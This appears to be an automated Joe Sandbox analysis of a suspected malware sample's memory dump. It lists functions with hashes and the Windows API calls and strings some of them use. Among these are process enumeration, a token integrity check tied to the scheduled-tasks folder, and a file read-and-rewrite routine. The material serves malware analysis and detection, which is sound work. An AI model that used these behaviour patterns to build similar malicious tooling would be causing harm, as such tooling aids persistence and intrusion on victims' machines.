Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
String ID: IsWow64Process$kernel32.dll
API String ID: 3542510048-3024904723
Opcode ID: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
Instruction ID: c9964d6c084eb6c4e09adf0a78a82ba29cca963801df753bbce45d31a4150425
Opcode Fuzzy Hash: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
Instruction Fuzzy Hash: 5571A3B1600315ABE710DFA4DD89F6F77B8AF84B04F144029FA05B72D1E7B8994587AC

Function 00401C70 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401C96
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
GetLastError.KERNEL32 ref: 00401CB0
SwitchToThread.KERNEL32 ref: 00401CBF
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
CloseHandle.KERNEL32(00000000), ref: 00401CF9
Module32First.KERNEL32(00000000,?), ref: 00401D1A
StrStrIA.SHLWAPI(?,kernel), ref: 00401D3C
StrStrIA.SHLWAPI(00000000,.dll), ref: 00401D48
Module32Next.KERNEL32(00000000,00000224), ref: 00401D56

Strings

kernel, xrefs: 00401D30
.dll, xrefs: 00401D42

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
String ID: .dll$kernel
API String ID: 2979424695-2375045364
Opcode ID: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
Instruction ID: 6b572b3e0c1d36d44cadbb52a12c0b3f1dd55c4915d11e4f0b3c307bdf2881c5
Opcode Fuzzy Hash: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
Instruction Fuzzy Hash: EC21B972A0111467D7109BA5AD49B9E77A8EF89720F100276EA04F32E0EB34DD4556A9

Function 004033A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004033C7
GetCurrentProcess.KERNEL32(00000008,00000000), ref: 004033E9
OpenProcessToken.ADVAPI32(00000000), ref: 004033F0
GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403411
CloseHandle.KERNEL32(00000000), ref: 00403427

Strings

\\?\globalroot\systemroot\system32\tasks\, xrefs: 004033A9

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpenVersion
String ID: \\?\globalroot\systemroot\system32\tasks\
API String ID: 4133869067-1576788796
Opcode ID: 645d9aa35765d8fa00b4ca3d9b4e73897e66a258ba203d8b6412706febb71317
Instruction ID: 021f6ab0fc676138f4263539a703c8a5ee641fdd4e06072bb68a67a5c5d36617
Opcode Fuzzy Hash: 645d9aa35765d8fa00b4ca3d9b4e73897e66a258ba203d8b6412706febb71317
Instruction Fuzzy Hash: 4E0188B5E00208EBEB20CFA0DD09B9A7BBCAB85701F4040A5E709B6280D6749F44CF75

Function 00422380 Relevance: .8, Instructions: 833COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda0e8785c2b784ed165e1e2f0db2950fa3c2b4a98a8e5714da0227d163011df
Instruction ID: a443a6be7b6020440c066dd6ac9f13e6f3c101328c6206cdfb6017cdb3c45d4c
Opcode Fuzzy Hash: fda0e8785c2b784ed165e1e2f0db2950fa3c2b4a98a8e5714da0227d163011df
Instruction Fuzzy Hash: 406217302042629FE715DF349EA8AAB7BE5EF9A300F44C959E885C7331DB74C909C799

Function 0044599D Relevance: .8, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b898cc278001aa302173b1ebfbe9ab6da14a012747f73bc7f8226c98198e4a
Instruction ID: 4c2327c6d9ea0fd5f78b0127e51354d19f4113b4e822ec877585a6efb92c7c58
Opcode Fuzzy Hash: 24b898cc278001aa302173b1ebfbe9ab6da14a012747f73bc7f8226c98198e4a
Instruction Fuzzy Hash: CD62BC70E00A269BEB0CCF55C4906EDBBB2FF85311F24826EC81667B85D778A955CF84

Function 00433980 Relevance: .7, Instructions: 675COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2bc618ccad3562935955a192db260dfb9d2e6bee5d337b6c715297b9bec9ce8
Instruction ID: 31199357ceec466129956888dd439b1d4a6f100edec160316ecfa63dcdc1427f
Opcode Fuzzy Hash: d2bc618ccad3562935955a192db260dfb9d2e6bee5d337b6c715297b9bec9ce8
Instruction Fuzzy Hash: 1B42D371A002199FDB10DFA9C881AEFB7B1BF88304F54556EE446A7342D738BD45CBA8

Function 00443BB0 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f03b92f91bc0fa13057e0a00df989dad41c0c834fe398416088b62e1f161a5
Instruction ID: eac5d11cb92673f9bb66abbec7de51b37a046753e49d1a185180b8ac7a31a903
Opcode Fuzzy Hash: f5f03b92f91bc0fa13057e0a00df989dad41c0c834fe398416088b62e1f161a5
Instruction Fuzzy Hash: 7D122630A047859FEB25CF18C9806AEB7F1AF96710F14855FE4A68B391C738EE46CB54

Function 00444280 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb3dbd4f1a7e42d557d55f1836cfda86b2050670afa8ddbabdc4c804d563f80
Instruction ID: 021bb5d2b7c0cb56e537b8d227e73ed21d0ebdb26bc59c524461a715ef61eba8
Opcode Fuzzy Hash: dbb3dbd4f1a7e42d557d55f1836cfda86b2050670afa8ddbabdc4c804d563f80
Instruction Fuzzy Hash: FC12F630A047849FEB15CF28C9807AEBBF1AF96314F14855EE8A64B791C738ED42CB54

Function 004434E0 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00cb6110a2b699abd96713e289be10720307309afa9449c25425e0025887b9a6
Instruction ID: c4f7584d98bb462e22f8ca5efa45b381d380756b5cf0509a019ae382a9018600
Opcode Fuzzy Hash: 00cb6110a2b699abd96713e289be10720307309afa9449c25425e0025887b9a6
Instruction Fuzzy Hash: B1121570A007859FEB25CF18C9806AEBBF1AF96711F14855FE4A68B351C738EE42CB54

Function 00442250 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 875064cff97081166aed1be67bd98ed2576c8f6fcc3bfcc6e64621cd83be4fae
Instruction ID: b7b9f9f22af13d42a5b6316f7f2a44174fcb43b43f91c23f0d1d097708033df0
Opcode Fuzzy Hash: 875064cff97081166aed1be67bd98ed2576c8f6fcc3bfcc6e64621cd83be4fae
Instruction Fuzzy Hash: F312E530A047859FEB25CF28CA8069A7BF1BF56310F54855EF8A58B381C778ED42CB64

Function 00440A60 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de9ff50583ee048039bb51e6425aa69cb088ad25014410a60100640d1a31ab45
Instruction ID: c96630ca6486ca8a3dffba479f0708cf21e85e20dbdd268f71493559b7ccfc47
Opcode Fuzzy Hash: de9ff50583ee048039bb51e6425aa69cb088ad25014410a60100640d1a31ab45
Instruction Fuzzy Hash: 91021630A007459FEB24CF18C9806AFB7E1EF91314F14856FE9A68B391D738AD56C798

Function 0043FE00 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62266d2bb0fd7cb72f5456114ccefa61cd6d3619e0fa61cbae80b75a03c25a28
Instruction ID: b5c27d84d61b241dfbbeb53c51d0fdd6cf76b480a9746a7cf7f6d71d37627bea
Opcode Fuzzy Hash: 62266d2bb0fd7cb72f5456114ccefa61cd6d3619e0fa61cbae80b75a03c25a28
Instruction Fuzzy Hash: 1702F330A007459FEB20CF28C9816AF77E1BF96310F14856FE9A58B391D738AD56CB94

Function 004416C0 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 842b6e569715697e2913e9ef520192c111f60459be670174adc123d7c1086160
Instruction ID: 5c11e9432c662da9e832bb00048f610cc01de9b2e0be984bbf0aa46c625adfee
Opcode Fuzzy Hash: 842b6e569715697e2913e9ef520192c111f60459be670174adc123d7c1086160
Instruction Fuzzy Hash: BE02E630A007459FEB24CF18C9916AFB7E1EF92310F14855FE4A69B3A1D738A982C759

Function 0043F190 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ddcdb94234de5d560dda6265b912994e733e8d5260f18d2812bbace300dc76
Instruction ID: 6f27e782664b546ea9a7b70d93e541e4de47497114ddd59825f0d455be94bf6b
Opcode Fuzzy Hash: 64ddcdb94234de5d560dda6265b912994e733e8d5260f18d2812bbace300dc76
Instruction Fuzzy Hash: AE02F430E007459FDB24CF28C581AAF77E1AF99310F14956FE8A58B391D738AD4ACB94

Function 00408FB0 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88621d46758aedf690ac812344085eee3c67f3b628deeb412a6ed4927ae68baa
Instruction ID: e4885def972384e71c6d3d4fa2c3ca7822b4fe2f95aa3e637cc98f64f0d57cdc
Opcode Fuzzy Hash: 88621d46758aedf690ac812344085eee3c67f3b628deeb412a6ed4927ae68baa
Instruction Fuzzy Hash: 93F19B71A0021AABDB20CF98C984BAFB7B5EF88314F14417AED05A7381D779DD41CBA5

Function 004386F0 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8fd1392c8e8ca8671e57119c901ec34dab3edcf339fcd96841df010c3a8279
Instruction ID: fb58a9955cc4d1b946931b1175dba42f0bbce99fa4b1ebf213060499804b6f98
Opcode Fuzzy Hash: 2e8fd1392c8e8ca8671e57119c901ec34dab3edcf339fcd96841df010c3a8279
Instruction Fuzzy Hash: 991236B1E002198FCF18CF99C9905ADFBF2BF98314F18916EE849AB754D738A941CB54

Function 0043E340 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda3bc7136fad63692ea13eb0df83ff4ace332ecd58bb5a45ea7b06bc79ff9bd
Instruction ID: f84bb95602b786eda625d293fa24169cae21de97630f021d2562301d3a5a23f9
Opcode Fuzzy Hash: fda3bc7136fad63692ea13eb0df83ff4ace332ecd58bb5a45ea7b06bc79ff9bd
Instruction Fuzzy Hash: 58E18A309067859FDB25CF2AC8816BE7BE1AF6A314F14816FD4E54B3C1C638AD46CB48

Function 00448360 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67012e555016796dca32be15a4a4708593d4b9cfb006d1ee6d7d65e73d46c3ae
Instruction ID: d50c75c3876421525f344fdd73dc0d94e20a485c8d9004176434aa332c09f1d1
Opcode Fuzzy Hash: 67012e555016796dca32be15a4a4708593d4b9cfb006d1ee6d7d65e73d46c3ae
Instruction Fuzzy Hash: 13E1F530A045558FDB08CF68C8806ADBBF2EF85314B29C1AED895DB346DA39DA46CB54

Function 00439B90 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e42fcb3eab6dfdb7d92a05da4ca5687e3eaacf820ae962d547ea67b0616ab27e
Instruction ID: 225706b8245442841e5fafbb32bd6a2fabd71da86d83268e1d7ace3ee5cdc439
Opcode Fuzzy Hash: e42fcb3eab6dfdb7d92a05da4ca5687e3eaacf820ae962d547ea67b0616ab27e
Instruction Fuzzy Hash: 5FD12572E0021A8FCB18CF99C9815AEFBF2FF98310F24952AD855AB744D774AD01CB94

Function 00406B60 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
Instruction ID: 661d4224e0226a62dc5565bcde94e6aa946e1ef99945e038f73d7b47cfba27f7
Opcode Fuzzy Hash: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
Instruction Fuzzy Hash: F7917371D01215AFDB50EFA5C840B9EB7B5AF88304F26847EE805B7381D738AD11CBA8

Function 0044BFE3 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30296fb46389e41053c9c1891a2e91179b26c183d1817db7ada92d60d53047d1
Instruction ID: b8886794a6e5007edff55ecb8f40356a68830081a2fd7a3c661494ca94f11cdd
Opcode Fuzzy Hash: 30296fb46389e41053c9c1891a2e91179b26c183d1817db7ada92d60d53047d1
Instruction Fuzzy Hash: 1581C5319893918BC795DF38C8D56D6BBB1EE4322432E85DDC8940EA03E22F651BDF51

Function 0043A6D0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 031776b64819325f8bc44260e121548c68ef4edaa7e8b27829c2e6f5598c06c9
Instruction ID: 74367e3e6ab0b74d7f5c1cf3bcaa0d89af6e6a6e1ec9fa16ff19e2e679a1abb2
Opcode Fuzzy Hash: 031776b64819325f8bc44260e121548c68ef4edaa7e8b27829c2e6f5598c06c9
Instruction Fuzzy Hash: 5551C633F219214BF348CA79CC8415A73D3EBCE31071AC27AD901D7295E974E96396C5

Function 0040DDA0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90413d9f9a7a2a51136cfd3257986b2c0b32359f2b68ce7d43070aef4feff374
Instruction ID: 6b590965bade377d4829cb5edd661b89940232f3d33fb21e100e917a0d425a21
Opcode Fuzzy Hash: 90413d9f9a7a2a51136cfd3257986b2c0b32359f2b68ce7d43070aef4feff374
Instruction Fuzzy Hash: F6518E7190D3928BD311CF29C48066BFBE1AFD9314F048A6EF8C4A7351D7788A49CB96

Function 0043A4F0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f940f7e9c8dad2819d7ac41217777f41bdb57ab302bde7adc409946197b50135
Instruction ID: e5d6b1d35e3d87a4e74f21fc64f62253c0a3e01d769b06703654ef7c4b1d687f
Opcode Fuzzy Hash: f940f7e9c8dad2819d7ac41217777f41bdb57ab302bde7adc409946197b50135
Instruction Fuzzy Hash: F941C377E51A3947F3188949CD81754AA52ABCC324F2B83B5CD2C6B316D8B9ED039AD0

Function 0040DFC0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bc7354a3e354d1b015df0f8da07e1055657b15d563b5e6f57843a172319e40
Instruction ID: d8d0adafabcbd5d708f1da50a49402fb3bf4ae1d939e6727f3124d8f61b49aed
Opcode Fuzzy Hash: a9bc7354a3e354d1b015df0f8da07e1055657b15d563b5e6f57843a172319e40
Instruction Fuzzy Hash: ED51A17150C3A18BD315CF2AC48066BBBE1BBC9314F048E6EE8D497351D778DA09CB96

Function 0042CF60 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f20fa1024a9688b10060da5d67fc074633dd4eaa16d4fe3a3c2409f5f1f9c4f6
Instruction ID: c0d06c3b42bc6b51c97fcab68d65b60e5fd230549ea87696981b9f88f0129265
Opcode Fuzzy Hash: f20fa1024a9688b10060da5d67fc074633dd4eaa16d4fe3a3c2409f5f1f9c4f6
Instruction Fuzzy Hash: 00214F339748B601E7504B718D586227BD2CFCB206FAF81B5D644C7992D63ED4029564

Function 0040DA50 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c930fd42fec790c80e573c3d74de70e79dd5c7963e19442b8978de89fab75a
Instruction ID: 83a3f7d0e66a37bb7e6fdedb80276840f88715c9868f56da058082779efa7e5d
Opcode Fuzzy Hash: e9c930fd42fec790c80e573c3d74de70e79dd5c7963e19442b8978de89fab75a
Instruction Fuzzy Hash: 2101C92BB7CE0E45C51940AC1424A6A11801B127657D4063BAAC7F83D5EFEDD86FD84F

Function 00412FF0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f8b4470660630fa8e642daca3cb37112d29c707e5c6907703c9fc4351451dd
Instruction ID: b04785f1e362cafcd50622ec6ea8703a75b25b73c25fc77f3c2a0d59776fd131
Opcode Fuzzy Hash: 81f8b4470660630fa8e642daca3cb37112d29c707e5c6907703c9fc4351451dd
Instruction Fuzzy Hash: 2B01F7B19053189FEB20CF94DD8579BBBF4FB01305F40809DE98D93240C3755644CB96

Function 00406800 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2153786552.000000000045B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UMwpXhA46R.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
Instruction ID: 7532f4c657dbcf864b1e0f3702b5c669a99d63d3a165ab0069a886a8ac68f27f
Opcode Fuzzy Hash: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
Instruction Fuzzy Hash: 4AC04C36111850CFC642DB08E144D81B3E4EF05631B0A84C5A4055B621C234ED41CA40

Function 00403579 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292memoryfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035AB
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035F7
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,76D6DB30), ref: 004035FE
memset.MSVCRT ref: 00403616
_snwprintf.MSVCRT ref: 00403630
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403653
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040366A
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040367E
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004036D3
wcsstr.MSVCRT ref: 004036F2
wcsstr.MSVCRT ref: 00403725
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004037BB
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 004037EC
SetEndOfFile.KERNEL32(00000000), ref: 004037F3
CloseHandle.KERNEL32(00000000), ref: 004037FA
VariantInit.OLEAUT32(00000000), ref: 0040382B
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403887
HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040388A
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00403897
